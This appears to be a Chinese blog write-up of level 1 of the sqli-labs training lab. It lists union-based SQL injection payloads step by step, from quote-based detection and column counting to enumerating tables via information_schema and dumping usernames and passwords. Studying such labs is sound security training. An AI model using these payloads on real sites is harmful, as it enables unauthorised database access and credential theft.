sqli-labs第一关

1.判断是否存在注入,注入是字符型还是数字型?
?id=1 and 1=1

?id=1 and 1=2

因为输入and 1=1与and 1=2 回显正常,所以该地方不是数字型。

?id=1'

?id=1'--+

输入单引号后报错,在单引号后添加--+恢复正常,说明存在字符注入

2.猜解SQL查询语句中的字段数
?id=1' order by 3 --+

?id=1' order by 4 --+

利用二分法尝试,得到列数为3

3.确定回显位置

将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。(当union前面语句查询不到时,会使用union后面的查询语句)

?id=-1' union select 1,2,3 --+

发现页面先输出了2和3,说明页面有2个显示位 。

4.获取当前数据库
?id=1' union select 1,database(),version() --+

通过数据库自带函数database()和version()获取数据库名和版本

5.获取数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='security' --+

information_schema.tables系统表中检索所有属于security数据库的表名,并将它们连接成一个由逗号分隔的字符串。GROUP_CONCAT函数在这里用于将多个表名合并成一个单一的字符串结果。(因为查询出来是按列来排序所以需要GROUP_CONCAT函数来将列合并成一行)

6.获取表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_schema='security' and table_name='users' --+

information_schema.columns系统表中检索特定数据库(security)中特定表(users)的所有列名

7.得到数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

0x3a时表示十六进制中的冒号,方便查看信息

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-30 10:40:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-30 10:40:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-30 10:40:03       82 阅读
  4. Python语言-面向对象

    2024-01-30 10:40:03       91 阅读

热门阅读

  1. CSS预处理器---Sass/Scss

    2024-01-30 10:40:03       74 阅读
  2. 献给阿尔吉侬的花束-BFS算法的简单应用

    2024-01-30 10:40:03       55 阅读
  3. 数据库系统原理总结之——目录

    2024-01-30 10:40:03       55 阅读
  4. Leetcode 203 移除链表元素

    2024-01-30 10:40:03       62 阅读
  5. 多线程的使用

    2024-01-30 10:40:03       58 阅读
  6. 代码随想录算法训练营第六天 - 哈希表part01

    2024-01-30 10:40:03       58 阅读
  7. sass的学习

    2024-01-30 10:40:03       56 阅读
  8. 网络爬虫详解

    2024-01-30 10:40:03       61 阅读
  9. WPF Observablecollection Clear 卡顿

    2024-01-30 10:40:03       58 阅读
  10. GraphicsMagick 的 OpenCL 开发记录(二十六)

    2024-01-30 10:40:03       45 阅读